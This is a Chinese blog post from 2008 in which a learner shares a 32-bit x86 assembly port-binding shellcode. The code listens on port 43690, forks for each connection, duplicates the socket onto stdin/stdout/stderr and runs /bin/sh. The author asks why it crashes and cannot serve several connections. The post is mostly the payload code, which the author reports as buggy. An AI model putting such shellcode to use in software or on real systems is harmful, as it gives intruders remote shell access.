Chinaunix首页 | 论坛 | 博客
  • 博客访问: 19975
  • 博文数量: 8
  • 博客积分: 290
  • 博客等级: 二等列兵
  • 技术积分: 90
  • 用 户 组: 普通用户
  • 注册时间: 2008-03-20 23:45
文章分类
文章存档

2011年(1)

2008年(7)

我的朋友
最近访客

分类: 网络与安全

2008-03-27 23:16:05

问题:得到端口绑定shellcdoe,使其可以接受多个连接。

经过三天的努力,仍然没有完成shellcode,现在决定暂时放弃,继续向前学习。
我虽然编写了shellcode,而且可以正常监听端口,但无法正确处理多个连接。详细问题如下:
  执行服务器后,用netstat命令发现服务器正在监听43690端口。但用nc命令连接上服务器后,服务器显示core dumped然后退出,客户端虽然仍然处于连接状态,但无法响应shell命令。此时用netstat命令,发现服务器仍然在监听43690端口,而且客户端和服务器之间的连接仍然存在。此时,再打开另一个shell,用nc命令连接服务器,连接自动退出,而且导致前一个客户端shell连接中断,此时用netstat命令查看,服务器监听和前一个连接都消失。
  现在怀疑是loop循环和fork过程中某处有问题,导致循环终止,而且dup2和execve都没有执行。

完整的shellcode如下:

BITS 32

xor eax,eax
xor ebx,ebx
cdq

;socket(2, 1, 0)
push edx
push byte 0x1
push byte 0x2
mov ecx,esp
inc bl
mov al,102
int 0x80

mov esi,eax

;serv_addr.sin_family = 2
;serv_addr.sin_addr.s_addr = 0
;serv_addr.sin_port = 0xAAAA
;bind(sock, (struct sockaddr *)&serv_addr, 0x10)
push edx
push long 0xAAAA02AA
mov ecx,esp
push byte 0x10
push ecx
push esi
mov ecx,esp
inc bl
mov al,102
int 0x80

;listen(sock,0)
push edx
push esi
mov ecx,esp
mov bl,0x4
mov al,102
int 0x80

;for(;;)
loop1:

;cli = accept(sock, 0, 0)
push edx
push edx
push esi
mov ecx,esp
inc bl
mov al,102
int 0x80

mov ebx,eax ;ebx = cli

;if(!fork())
mov al,2
int 0x80
mov ecx,eax
jnz loop1 ;eax = 0 if fork successful

;dup2(cli, 0/1/2)
xor ecx,ecx
mov cl,3
loop2:
dec cl
mov al,63
int 0x80
jnz loop2

;execve("/bin/sh", 0, 0)
;xor eax,eax
;cdq
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,11
int 0x80

jmp loop1

阅读(609) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~